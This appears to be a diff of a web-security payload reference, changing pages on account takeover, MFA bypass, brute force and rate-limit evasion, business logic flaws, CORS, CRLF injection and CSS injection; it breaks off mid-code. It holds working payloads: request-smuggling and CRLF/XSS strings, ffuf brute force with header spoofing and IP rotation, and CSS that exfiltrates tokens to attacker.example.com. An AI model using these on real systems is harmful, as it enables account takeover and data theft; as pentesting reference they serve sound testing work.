+    GET http://something.burpcollaborator.net  HTTP/1.1
-    X: 
+    X: 
-    ```
+    ```
-
+
-3. Final request could look like the following
+3. Final request could look like the following
-
+
-    ```powershell
+    ```powershell
-    GET /  HTTP/1.1
+    GET /  HTTP/1.1
-    Transfer-Encoding: chunked
+    Transfer-Encoding: chunked
-    Host: something.com
+    Host: something.com
-    User-Agent: Smuggler/v1.0
+    User-Agent: Smuggler/v1.0
-    Content-Length: 83
+    Content-Length: 83
-
+
-    0
+    0
-
+
-    GET http://something.burpcollaborator.net  HTTP/1.1
+    GET http://something.burpcollaborator.net  HTTP/1.1
-    X: X
+    X: X
-    ```
+    ```
-
+
-Hackerone reports exploiting this bug
+Hackerone reports exploiting this bug
-
+
-* <https://hackerone.com/reports/737140>
+* <https://hackerone.com/reports/737140>
-* <https://hackerone.com/reports/771666>
+* <https://hackerone.com/reports/771666>
-
+
-### Account Takeover via CSRF
+### Account Takeover via CSRF
-
+
-1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
+1. Create a payload for the CSRF, e.g: "HTML form with auto submit for a password change"
-2. Send the payload
+2. Send the payload
-
+
-### Account Takeover via JWT
+### Account Takeover via JWT
-
+
-JSON Web Token might be used to authenticate an user.
+JSON Web Token might be used to authenticate an user.
-
+
-* Edit the JWT with another User ID / Email
+* Edit the JWT with another User ID / Email
-* Check for weak JWT signature
+* Check for weak JWT signature
-
+
-## References
+## References
-
+
-* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://www.youtube.com/watch?v=gzM4wWA7RFo)
+* [$6,5k + $5k HTTP Request Smuggling mass account takeover - Slack + Zomato - Bug Bounty Reports Explained - August 30, 2020](https://web.archive.org/web/20250701123134/https://www.youtube.com/watch?v=gzM4wWA7RFo)
-* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
+* [10 Password Reset Flaws - Anugrah SR - September 16, 2020](https://web.archive.org/web/20250626114943/https://anugrahsr.github.io/posts/10-Password-reset-flaws/)
-* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
+* [Broken Cryptography & Account Takeovers - Harsh Bothra - September 20, 2020](https://web.archive.org/web/20250913121907/https://speakerdeck.com/harshbothra/broken-cryptography-and-account-takeovers?slide=28)
-* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
+* [CTFd Account Takeover - NIST National Vulnerability Database - March 29, 2020](https://web.archive.org/web/20200329075120/https://nvd.nist.gov/vuln/detail/CVE-2020-7245)
-* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)
+* [Hacking Grindr Accounts with Copy and Paste - Troy Hunt - October 3, 2020](https://web.archive.org/web/20251219192449/https://www.troyhunt.com/hacking-grindr-accounts-with-copy-and-paste/)

Account Takeover/mfa-bypass.md

@@ -25,17 +25,17 @@
 
 ### Response Manipulation
 
-In response if `"success":false`
+If response is `"success":false`
 Change it to `"success":true`
 
 ### Status Code Manipulation
 
 If Status Code is **4xx**
-Try to change it to **200 OK** and see if it bypass restrictions
+Try changing it to **200 OK** and see if it bypass restrictions
 
 ### 2FA Code Leakage in Response
 
-Check the response of the 2FA Code Triggering Request to see if the code is leaked.
+Check the response of the 2FA Code Triggering Request for leaked code.
 
 ### JS File Analysis
 
@@ -51,7 +51,7 @@ Possible to brute-force any length 2FA Code
 
 ### Missing 2FA Code Integrity Validation
 
-Code for any user acc can be used to bypass the 2FA
+Code for any user account can be used to bypass the 2FA
 
 ### CSRF on 2FA Disabling
 
@@ -64,7 +64,7 @@ No CSRF Protection on disabling 2FA, also there is no auth confirmation
 ### Backup Code Abuse
 
 Bypassing 2FA by abusing the Backup code feature
-Use the above mentioned techniques to bypass Backup Code to remove/reset 2FA restrictions
+Use the above-mentioned techniques to bypass the Backup Code to remove/reset 2FA restrictions
 
 ### Clickjacking on 2FA Disabling Page
 
@@ -72,11 +72,11 @@ Iframing the 2FA Disabling page and social engineering victim to disable the 2FA
 
 ### Enabling 2FA doesn't expire Previously active Sessions
 
-If the session is already hijacked and there is a session timeout vuln
+If the session is already hijacked and there is a session timeout vulnerability
 
 ### Bypass 2FA by Force Browsing
 
-If the application redirects to `/my-account` url upon login while 2Fa is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
+If the application redirects to `/my-account` url upon login while 2FA is disabled, try replacing `/2fa/verify` with `/my-account` while 2FA is enabled to bypass verification.
 
 ### Bypass 2FA with null or 000000
 

Brute Force Rate Limit/README.md

@@ -0,0 +1,147 @@
+# Brute Force & Rate Limit
+
+## Summary
+
+* [Tools](#tools)
+* [Bruteforce](#bruteforce)
+    * [Burp Suite Intruder](#burp-suite-intruder)
+    * [FFUF](#ffuf)
+* [Rate Limit](#rate-limit)
+    * [TLS Stack - JA3](#tls-stack---ja3)
+    * [Network IPv4](#network-ipv4)
+    * [Network IPv6](#network-ipv6)
+* [References](#references)
+
+## Tools
+
+* [ZephrFish/OmniProx](https://github.com/ZephrFish/OmniProx) - IP Rotation from different providers - Like FireProx but for GCP, Azure, Alibaba and CloudFlare.
+* [ddd/gpb](https://github.com/ddd/gpb) - Bruteforcing the phone number of any Google user while rotating IPv6 addresses.
+* [ffuf/ffuf](https://github.com/ffuf/ffuf) - Fast web fuzzer written in Go.
+* [PortSwigger/Burp Suite](https://portswigger.net/burp) - The class-leading vulnerability scanning, penetration testing, and web app security platform.
+* [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate) - A special build of curl that can impersonate Chrome & Firefox.
+
+## Bruteforce
+
+In a web context, brute-forcing refers to the method of attempting to gain unauthorized access to web applications, particularly through login forms or other user input fields. Attackers systematically input numerous combinations of credentials or other values (e.g., iterating through numeric ranges) to exploit weak passwords or inadequate security measures.
+
+For instance, they might submit thousands of username and password combinations or guess security tokens by iterating through a range, such as 0 to 10,000. This method can lead to unauthorized access and data breaches if not mitigated effectively.
+
+Countermeasures like rate limiting, account lockout policies, CAPTCHA, and strong password requirements are essential to protect web applications from such brute-force attacks.
+
+### Burp Suite Intruder
+
+* **Sniper attack**: target a single position (one variable) while cycling through one payload set.
+
+    ```ps1
+
+    Username: password
+    Username1:Password1
+    Username1:Password2
+    Username1:Password3
+    Username1:Password4
+    ```
+
+* **Battering ram attack**: send the same payload to all marked positions at once by using a single payload set.
+
+    ```ps1
+    Username1:Username1
+    Username2:Username2
+    Username3:Username3
+    Username4:Username4
+    ```
+
+* **Pitchfork attack**: use different payload lists in parallel, combining the nth entry from each list into one request.
+
+    ```ps1
+    Username1:Password1
+    Username2:Password2
+    Username3:Password3
+    Username4:Password4
+    ```
+
+* **Cluster bomb attack**: iterate through all combinations of multiple payload sets.
+
+    ```ps1
+    Username1:Password1
+    Username1:Password2
+    Username1:Password3
+    Username1::Password4
+
+    Username2:Password1
+    Username2:Password2
+    Username2:Password3
+    Username2:Password4
+    ```
+
+### FFUF
+
+```bash
+ffuf -w usernames.txt:USER -w passwords.txt:PASS \
+     -u https://target.tld/login \
+     -X POST -d "username=USER&password=PASS" \
+     -H "Content-Type: application/x-www-form-urlencoded" \
+     -H "X-Forwarded-For: FUZZ" -w ipv4-list.txt:FUZZ \
+     -mc all
+```
+
+## Rate Limit
+
+### HTTP Pipelining
+
+HTTP pipelining is a feature of HTTP/1.1 that lets a client send multiple HTTP requests on a single persistent TCP connection without waiting for the corresponding responses first. The client "pipes" requests one after another over the same connection.
+
+### TLS Stack - JA3
+
+JA3 is a method for fingerprinting TLS clients (and JA3S for TLS servers) by hashing the contents of the TLS "hello" messages. It gives a compact identifier you can use to detect, classify, and track clients on the network even when higher-level protocol fields (like HTTP user-agent) are hidden or faked.
+
+> JA3 gathers the decimal values of the bytes for the following fields in the Client Hello packet; SSL Version, Accepted Ciphers, List of Extensions, Elliptic Curves, and Elliptic Curve Formats. It then concatenates those values together in order, using a "," to delimit each field and a "-" to delimit each value in each field.
+
+* Burp Suite JA3: `53d67b2a806147a7d1d5df74b54dd049`, `62f6a6727fda5a1104d5b147cd82e520`
+* Tor Client JA3: `e7d705a3286e19ea42f587b344ee6865`
+
+**Countermeasures:**
+
+* Use browser-driven automation (Puppeteer / Playwright)
+* Spoof TLS handshakes with [lwthiker/curl-impersonate](https://github.com/lwthiker/curl-impersonate)
+* JA3 randomization plugins for browsers/libraries
+
+### Network IPv4
+
+Use multiple proxies to simulate multiple clients.
+
+```bash
+proxychains ffuf -w wordlist.txt -u https://target.tld/FUZZ
+```
+
+* Use `random_chain` to rotate each request
+
+    ```ps1
+    random_chain
+    ```
+
+* Set the number of proxies to chain per connection to 1.
+
+    ```ps1
+    chain_len = 1
+    ```
+
+* Finally, specify the proxies in a configuration file:
+
+    ```ps1
+    # type  host      port
+    socks5  127.0.0.1 1080
+    socks5  192.168.1.50 1080
+    http    proxy1.example.com 8080
+    http    proxy2.example.com 8080
+    ```
+
+### Network IPv6
+
+Many cloud providers, such as Vultr, offer /64 IPv6 ranges, which provide a vast number of addresses (18 446 744 073 709 551 616). This allows for extensive IP rotation during brute-force attacks.
+
+## References
+
+* [Bruteforcing the phone number of any Google user - brutecat - June 9, 2025](https://web.archive.org/web/20250609141236/https://brutecat.com/articles/leaking-google-phones)
+* [Burp Intruder attack types - PortSwigger - August 19, 2025](https://web.archive.org/web/20260124024947/https://portswigger.net/burp/documentation/desktop/tools/intruder/configure-attack/attack-types)
+* [Detecting and annoying Burp users - Julien Voisin -  May 3, 2021](https://web.archive.org/web/20260102160139/https://dustri.org/b/detecting-and-annoying-burp-users.html)
+* [OmniProx: Multi-Cloud IP Rotation Made Simple - Andy Gill - September 28, 2025](https://web.archive.org/web/20260215082718/https://blog.zsec.uk/omniprox/)

Business Logic Errors/README.md

@@ -2,7 +2,6 @@
 
 > Business logic errors, also known as business logic flaws, are a type of application vulnerability that stems from the application's business logic, which is the part of the program that deals with real-world business rules and processes. These rules could include things like pricing models, transaction limits, or the sequences of operations that need to be followed in a multi-step process.
 
-
 ## Summary
 
 * [Methodology](#methodology)
@@ -14,9 +13,9 @@
     * [Refund Feature Exploitation](#refund-feature-exploitation)
     * [Cart/Wishlist Exploitation](#cartwishlist-exploitation)
     * [Thread Comment Testing](#thread-comment-testing)
+    * [Rounding Error](#rounding-error)
 * [References](#references)
 
-
 ## Methodology
 
 Unlike other types of security vulnerabilities like SQL injection or cross-site scripting (XSS), business logic errors do not rely on problems in the code itself (like unfiltered user input). Instead, they take advantage of the normal, intended functionality of the application, but use it in ways that the developer did not anticipate and that have undesired consequences.
@@ -32,7 +31,6 @@ Common examples of Business Logic Errors.
 * Investigate the possibility of posting reviews impersonating other users.
 * Attempt Cross-Site Request Forgery (CSRF) on this feature, as it's frequently unprotected by tokens.
 
-
 ### Discount Code Feature Testing
 
 * Try to apply the same discount code multiple times to assess if it's reusable.
@@ -41,17 +39,14 @@ Common examples of Business Logic Errors.
 * Test for vulnerabilities from missing input sanitization such as XSS, SQL Injection on this feature.
 * Attempt to apply discount codes to non-discounted items by manipulating the server-side request.
 
-
 ### Delivery Fee Manipulation
 
 * Experiment with negative values for delivery charges to see if it reduces the final amount.
 * Evaluate if free delivery can be activated by modifying parameters.
 
-
 ### Currency Arbitrage
 
 * Attempt to pay in one currency, for example, USD, and request a refund in another, like EUR. The difference in conversion rates could result in a profit.
-    
 
 ### Premium Feature Exploitation
 
@@ -60,21 +55,18 @@ Common examples of Business Logic Errors.
 * Look for true/false values in requests/responses that validate premium access. Use tools like Burp's Match & Replace to alter these values for unauthorized premium access.
 * Review cookies or local storage for variables validating premium access.
 
-
 ### Refund Feature Exploitation
 
 * Purchase a product, ask for a refund, and see if the product remains accessible.
 * Look for opportunities for currency arbitrage.
 * Submit multiple cancellation requests for a subscription to check the possibility of multiple refunds.
 
-
 ### Cart/Wishlist Exploitation
 
 * Test the system by adding products in negative quantities, along with other products, to balance the total.
 * Try to add more of a product than is available.
 * Check if a product in your wishlist or cart can be moved to another user's cart or removed from it.
 
-
 ### Thread Comment Testing
 
 * Check if there's a limit to the number of comments on a thread.
@@ -82,10 +74,22 @@ Common examples of Business Logic Errors.
 * If the system allows comments by verified or privileged users, try to mimic these parameters and see if you can comment as well.
 * Attempt to post comments impersonating other users.
 
+### Rounding Error
+
+The report [hackerone #176461](https://web.archive.org/web/20170303191338/https://hackerone.com/reports/176461) describes a business logic flaw in a cryptocurrency platform (using XBT/Bitcoin), where an attacker exploits a rounding error in the internal transfer system to generate money out of nothing.
+
+The attacker initiate a transfer of 0.000000005 XBT (0.5 satoshi), this is below the system's minimum precision which is 1 satoshi minimum.
+
+* Sender's balance doesn't change. The algorithm might be rounded down to 0 satoshi.
+* Receiver's balance increases by 1 satoshi (0.00000001). The algorithm might be rounding up to 1 satoshi.
+
+The attacker generated 0.00000001 XBT from nothing, since there's no rate limit, OTP, or fraud detection, the attacker can automate this process and repeat it infinitely, effectively printing money.
+
+In this example, instead of rounding and rejecting or enforcing a minimum transfer, it ignores the deduction from the sender and credits the receiver.
 
 ## References
 
-- [Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws)
+* [Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20260305155804/https://portswigger.net/web-security/logic-flaws)
-- [Business Logic Vulnerability - OWASP - 2024](https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
+* [Business Logic Vulnerability - OWASP - 2024](https://web.archive.org/web/20200422002600/https://owasp.org/www-community/vulnerabilities/Business_logic_vulnerability)
-- [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://cwe.mitre.org/data/definitions/840.html)
+* [CWE-840: Business Logic Errors - CWE - March 24, 2011](https://web.archive.org/web/20260304013031/https://cwe.mitre.org/data/definitions/840.html)
-- [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://portswigger.net/web-security/logic-flaws/examples)
+* [Examples of Business Logic Vulnerabilities - PortSwigger - 2024](https://web.archive.org/web/20200922175829/https://portswigger.net/web-security/logic-flaws/examples)

CONTRIBUTING.md

@@ -18,7 +18,7 @@ In order to provide the safest payloads for the community, the following rules m
     - Use `P@ssw0rd`, `Password123`, `password` as default passwords for your examples
     - Prefer commonly used name for machines such as `DC01`, `EXCHANGE01`, `WORKSTATION01`, etc
 - References must have an `author`, a `title`, a `link` and a `date`
-    - Use [Wayback Machine](wayback.archive.org) if the reference is not available anymore.
+    - Use [Wayback Machine](https://web.archive.org/) if the reference is not available anymore.
     - The date must be following the format `Month Number, Year`, e.g: `December 25, 2024`
     - References to Github repositories must follow this format: `[author/tool](https://github.com/URL) - Description`
 

CORS Misconfiguration/README.md

@@ -1,7 +1,6 @@
 # CORS Misconfiguration
 
-> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker’s site using the victim’s credentials. 
+> A site-wide CORS misconfiguration was in place for an API domain. This allowed an attacker to make cross origin requests on behalf of the user as the application did not whitelist the Origin header and had Access-Control-Allow-Credentials: true meaning we could make requests from our attacker's site using the victim's credentials.
-
 
 ## Summary
 
@@ -16,7 +15,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Tools
 
 * [s0md3v/Corsy](https://github.com/s0md3v/Corsy/) - CORS Misconfiguration Scanner
@@ -25,14 +23,12 @@
 * [trufflesecurity/of-cors](https://github.com/trufflesecurity/of-cors) - Exploit CORS misconfigurations on the internal networks
 * [omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne) - Fast CORS Misconfiguration Discovery Tool
 
-
 ## Requirements
 
 * BURP HEADER> `Origin: https://evil.com`
 * VICTIM HEADER> `Access-Control-Allow-Credential: true`
 * VICTIM HEADER> `Access-Control-Allow-Origin: https://evil.com` OR `Access-Control-Allow-Origin: null`
 
-
 ## Methodology
 
 Usually you want to target an API endpoint. Use the following payload to exploit a CORS misconfiguration on target `https://victim.example.com/endpoint`.
@@ -70,7 +66,7 @@ function reqListener() {
 };
 ```
 
-or 
+or
 
 ```html
 <html>
@@ -105,7 +101,7 @@ It's possible that the server does not reflect the complete `Origin` header but
 that the `null` origin is allowed. This would look like this in the server's
 response:
 
-```
+```ps1
 GET /endpoint HTTP/1.1
 Host: victim.example.com
 Origin: null
@@ -145,7 +141,7 @@ exploit codes from above do not work. But if you have an XSS on a trusted
 origin, you can inject the exploit coded from above in order to exploit CORS
 again.
 
-```
+```ps1
 https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
 ```
 
@@ -154,7 +150,7 @@ https://trusted-origin.example.com/?xss=<script>CORS-ATTACK-PAYLOAD</script>
 If the server responds with a wildcard origin `*`, **the browser does never send
 the cookies**. However, if the server does not require authentication, it's still
 possible to access the data on the server. This can happen on internal servers
-that are not accessible from the Internet. The attacker's website can then 
+that are not accessible from the Internet. The attacker's website can then
 pivot into the internal network and access the server's data without authentication.
 
 ```powershell
@@ -188,16 +184,15 @@ function reqListener() {
 };
 ```
 
-
 ### Expanding the Origin
 
 Occasionally, certain expansions of the original origin are not filtered on the server side. This might be caused by using a badly implemented regular expressions to validate the origin header.
 
 #### Vulnerable Implementation (Example 1)
 
-In this scenario any prefix inserted in front of `example.com` will be accepted by the server. 
+In this scenario any prefix inserted in front of `example.com` will be accepted by the server.
 
-```
+```ps1
 GET /endpoint HTTP/1.1
 Host: api.example.com
 Origin: https://evilexample.com
@@ -207,7 +202,6 @@ Access-Control-Allow-Origin: https://evilexample.com
 Access-Control-Allow-Credentials: true 
 
 {"[private API key]"}
-
 ```
 
 #### Proof of Concept (Example 1)
@@ -230,7 +224,7 @@ function reqListener() {
 
 In this scenario the server utilizes a regex where the dot was not escaped correctly. For instance, something like this: `^api.example.com$` instead of `^api\.example.com$`. Thus, the dot can be replaced with any letter to gain access from a third-party domain.
 
-```
+```ps1
 GET /endpoint HTTP/1.1
 Host: api.example.com
 Origin: https://apiiexample.com
@@ -240,7 +234,6 @@ Access-Control-Allow-Origin: https://apiiexample.com
 Access-Control-Allow-Credentials: true 
 
 {"[private API key]"}
-
 ```
 
 #### Proof of concept (Example 2)
@@ -259,7 +252,6 @@ function reqListener() {
 };
 ```
 
-
 ## Labs
 
 * [PortSwigger - CORS vulnerability with basic origin reflection](https://portswigger.net/web-security/cors/lab-basic-origin-reflection-attack)
@@ -267,17 +259,16 @@ function reqListener() {
 * [PortSwigger - CORS vulnerability with trusted insecure protocols](https://portswigger.net/web-security/cors/lab-breaking-https-attack)
 * [PortSwigger - CORS vulnerability with internal network pivot attack](https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack)
 
-
 ## References
 
-- [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
+* [[██████] Cross-origin resource sharing misconfiguration (CORS) - Vadim (jarvis7) - December 20, 2018](https://hackerone.com/reports/470298)
-- [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
+* [Advanced CORS Exploitation Techniques - Corben Leo - June 16, 2018](https://web.archive.org/web/20190516052453/https://www.corben.io/advanced-cors-techniques/)
-- [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://hackerone.com/reports/426147)
+* [CORS misconfig | Account Takeover - Rohan (nahoragg) - October 20, 2018](https://web.archive.org/web/20250426222841/https://hackerone.com/reports/426147)
-- [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://hackerone.com/reports/430249)
+* [CORS Misconfiguration leading to Private Information Disclosure - sandh0t (sandh0t) - October 29, 2018](https://web.archive.org/web/20190820201328/https://hackerone.com/reports/430249)
-- [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://hackerone.com/reports/168574)
+* [CORS Misconfiguration on www.zomato.com - James Kettle (albinowax) - September 15, 2016](https://web.archive.org/web/20171230084544/https://hackerone.com/reports/168574)
-- [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
+* [CORS Misconfigurations Explained - Detectify Blog - April 26, 2018](https://web.archive.org/web/20230323053559/https://blog.detectify.com/2018/04/26/cors-misconfigurations-explained/)
-- [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://portswigger.net/web-security/cors)
+* [Cross-origin resource sharing (CORS) - PortSwigger Web Security Academy - December 30, 2019](https://web.archive.org/web/20260302141111/https://portswigger.net/web-security/cors)
-- [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://hackerone.com/reports/235200)
+* [Cross-origin resource sharing misconfig | steal user information - bughunterboy (bughunterboy) - June 1, 2017](https://web.archive.org/web/20250512191501/https://hackerone.com/reports/235200)
-- [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
+* [Exploiting CORS misconfigurations for Bitcoins and bounties - James Kettle - 14 October 2016](https://web.archive.org/web/20190919034024/https://portswigger.net/blog/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
-- [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
+* [Exploiting Misconfigured CORS (Cross Origin Resource Sharing) - Geekboy - December 16, 2016](https://web.archive.org/web/20260204152901/https://www.geekboy.ninja/blog/exploiting-misconfigured-cors-cross-origin-resource-sharing/)
-- [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)
+* [Think Outside the Scope: Advanced CORS Exploitation Techniques - Ayoub Safa (Sandh0t) - May 14 2019](https://web.archive.org/web/20210126182728/https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397)

CRLF Injection/README.md

@@ -12,7 +12,6 @@
 * [Labs](#labs)
 * [References](#references)
 
-
 ## Methodology
 
 HTTP Response Splitting is a security vulnerability where an attacker manipulates an HTTP response by injecting Carriage Return (CR) and Line Feed (LF) characters (collectively called CRLF) into a response header. These characters mark the end of a header and the start of a new line in HTTP responses.
@@ -28,7 +27,6 @@ By injecting a CRLF sequence, the attacker can break the response into two parts
 * Cache Poisoning: Forcing incorrect content to be stored in caches.
 * Header Manipulation: Altering headers to mislead users or systems
 
-
 ### Session Fixation
 
 A typical HTTP response header looks like this:
@@ -50,18 +48,17 @@ Set-Cookie: admin=true
 
 Now the attacker has set their own cookie.
 
-
 ### Cross Site Scripting
 
 Beside the session fixation that requires a very insecure way of handling user session, the easiest way to exploit a CRLF injection is to write a new body for the page. It can be used to create a phishing page or to trigger an arbitrary Javascript code (XSS).
 
-**Requested page**
+**Requested page**:
 
 ```http
 http://www.example.net/index.php?lang=en%0D%0AContent-Length%3A%200%0A%20%0AHTTP/1.1%20200%20OK%0AContent-Type%3A%20text/html%0ALast-Modified%3A%20Mon%2C%2027%20Oct%202060%2014%3A50%3A18%20GMT%0AContent-Length%3A%2034%0A%20%0A%3Chtml%3EYou%20have%20been%20Phished%3C/html%3E
 ```
 
-**HTTP response**
+**HTTP response**:
 
 ```http
 Set-Cookie:en
@@ -77,13 +74,13 @@ Content-Length: 34
 In the case of an XSS, the CRLF injection allows to inject the `X-XSS-Protection` header with the value value "0", to disable it. And then we can add our HTML tag containing Javascript code .
 
 **Requested page**:
-
+
 ```powershell
 http://example.com/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2f%2e%2e
 ```
 
 **HTTP Response**:
-
+
 ```http
 HTTP/1.1 200 OK
 Date: Tue, 20 Dec 2016 14:34:03 GMT
@@ -97,7 +94,7 @@ ETag: "842fe-597b-54415a5c97a80"
 X-UA-Compatible: IE=edge
 Server: NetDNA-cache/2.2
 Link: https://example.com/[INJECTION STARTS HERE]
-Content-Length:35
+Content-Length:35
 X-XSS-Protection:0
 
 ```
@@ -114,10 +111,9 @@ Inject a `Location` header to force a redirect for the user.
 
 [RFC 7230](https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.4) states that most HTTP header field values use only a subset of the US-ASCII charset.
 
-
 > Newly defined header fields SHOULD limit their field values to US-ASCII octets.
 
-Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
+Firefox followed the spec by stripping off any out-of-range characters when setting cookies instead of encoding them.
 
 | UTF-8 Character | Hex | Unicode | Stripped |
 | --------- | --- | ------- | -------- |
@@ -132,7 +128,6 @@ Firefox followed the spec by stripping off any out-of-range characters when sett
 
 ```js
 嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
-嘊嘍content-type:text/html嘊嘍location:嘊嘍嘊嘍嘼svg/onload=alert(document.domain()嘾
 ```
 
 URL encoded version
@@ -145,15 +140,13 @@ URL encoded version
 
 * [PortSwigger - HTTP/2 request splitting via CRLF injection](https://portswigger.net/web-security/request-smuggling/advanced/lab-request-smuggling-h2-request-splitting-via-crlf-injection)
 * [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
-* [Root Me - CRLF](https://www.root-me.org/en/Challenges/Web-Server/CRLF)
 
 ## References
 
 * [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://web.archive.org/web/20200113055606/https://www.owasp.org/index.php/CRLF_Injection)
 * [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
-- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
 * [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
 
-- [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://www.owasp.org/index.php/CRLF_Injection)
+* [CRLF Injection - CWE-93 - OWASP - May 20, 2022](https://web.archive.org/web/20200113055606/https://www.owasp.org/index.php/CRLF_Injection)
-- [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
+* [CRLF injection on Twitter or why blacklists fail - XSS Jigsaw - April 21, 2015](https://web.archive.org/web/20150425024348/https://blog.innerht.ml/twitter-crlf-injection/)
-- [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)
+* [Starbucks: [newscdn.starbucks.com] CRLF Injection, XSS - Bobrov - December 20, 2016](https://vulners.com/hackerone/H1:192749)

CSS Injection/README.md

@@ -0,0 +1,199 @@
+# CSS Injection
+
+> CSS Injection is a vulnerability that occurs when an application allows untrusted CSS to be injected into a web page. This can be exploited to exfiltrate sensitive data, such as CSRF tokens or other secrets, by manipulating the page layout or triggering network requests based on element attributes.
+
+## Summary
+
+* [Tools](#tools)
+* [Methodology](#methodology)
+    * [CSS Selectors](#css-selectors)
+    * [CSS Import at-rule](#css-import-at-rule)
+    * [CSS Conditionals](#css-conditionals)
+    * [CSS Font-face at-rule](#css-font-face-at-rule)
+    * [Attribute Extraction via attr()](#attribute-extraction-via-attr)
+    * [Ligatures](#ligatures)
+* [Labs](#labs)
+* [References](#references)
+
+## Tools
+
+* [hackvertor/blind-css-exfiltration](https://github.com/hackvertor/blind-css-exfiltration) - A tool to exfiltrate unknown web pages using Blind CSS.
+* [PortSwigger/css-exfiltration](https://github.com/PortSwigger/css-exfiltration) - Collection of CSS based exfiltration techniques.
+* [cgvwzq/css-scrollbar-attack](https://github.com/cgvwzq/css-scrollbar-attack) - PoC for leaking text nodes via CSS injection using scrollbars.
+* [d0nutptr/sic](https://github.com/d0nutptr/sic) - Sequential Import Chaining for advanced CSS exfiltration.
+* [adrgs/fontleak](https://github.com/adrgs/fontleak) - Tool for fast exfiltration of text using only CSS and Ligatures.
+
+## Methodology
+
+### CSS Selectors
+
+CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
+
+The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
+
+* `input[value^=a]` (prefix attribute selector): Selects elements where the value starts with "a".
+* `input[value$=a]` (suffix attribute selector): Selects elements where the value ends with "a".
+* `input[value*=a]` (substring attribute selector): Selects elements where the value contains "a".
+
+#### Exfiltration via Background Image
+
+When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
+
+```css
+input[value^="TOKEN_012"] {
+  background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
+}
+```
+
+```css
+input[name="pin"][value="1234"] {
+  background: url(https://attacker.com/log?pin=1234);
+}
+```
+
+**Tips:**
+
+* **Hidden Inputs**: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (`+` or `~`) to style a visible element that appears after the hidden input.
+
+```css
+input[name="csrf-token"][value^="a"] + input {
+  background: url(https://example.com?q=a)
+}
+```
+
+* **Has Selector**: The `:has()` pseudo-class allows styling a parent element based on its children.
+
+```css
+div:has(input[value="1337"]) {
